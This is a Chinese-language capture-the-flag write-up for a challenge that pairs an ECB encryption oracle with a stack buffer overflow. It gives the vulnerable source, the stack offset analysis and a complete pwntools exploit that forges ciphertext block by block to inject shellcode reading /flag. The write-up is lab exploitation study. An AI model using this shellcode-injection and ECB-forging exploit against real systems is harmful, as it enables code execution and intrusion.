与 ECB-to-Win 类似的 ECB oracle + buffer overflow,但没有
win() 函数,需要注入 shellcode 并跳转执行。栈可执行。
Source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int challenge(int argc, char **argv, char **envp) { unsigned char key[16]; struct { char header[8]; unsigned long long length; char message[48]; } plaintext = {0};
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len, ciphertext + 16, ciphertext_len - 16);
print_disassembly(plaintext.message, decrypted_len); }
|
Analysis
从 stack dump 中读取关键信息:
1 2 3
| | 0x7fffffffec90 (rsp+0x0040) | message buffer 开始 (shellcode 放这里) | ... | 104 bytes to saved rip | 0x7fffffffecf8 (rsp+0x00a8) | saved return address
|
- buffer 起始:
0x7fffffffec90
- offset =
0xa8 - 0x40 = 104 bytes
- 栈地址固定(ASLR 未随机化栈),直接将返回地址覆盖为 buffer
起始地址
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from Crypto.Util.Padding import pad from pwn import *
context.update(arch="amd64", os="linux") context.log_level = "info"
OFFSET = 104 BUFFER_ADDR = 0x7fffffffec90
def encrypt_block(block_data): p = process(["/challenge/dispatch"], level="error") p.send(block_data) p.shutdown("send") ct = p.recvall() p.close() return ct[16:32]
def build_payload(): shellcode = asm(shellcraft.cat("/flag"))
raw_payload = shellcode.ljust(OFFSET, b"\x90") + p64(BUFFER_ADDR)
p_init = process(["/challenge/dispatch"], level="error") p_init.send(b"\x90" * 16) p_init.shutdown("send") first_block_ct = p_init.recvall()[:16] p_init.close()
padded_payload = pad(raw_payload, 16) final_ct = first_block_ct for i in range(0, len(padded_payload), 16): final_ct += encrypt_block(padded_payload[i : i + 16])
log.success(f"Payload length: {len(final_ct)} bytes") return final_ct
def exploit(): payload = build_payload() target = process("/challenge/vulnerable-overflow", env={}) target.send(payload) target.shutdown("send") print(target.recvall().decode(errors="ignore"))
if __name__ == "__main__": exploit()
|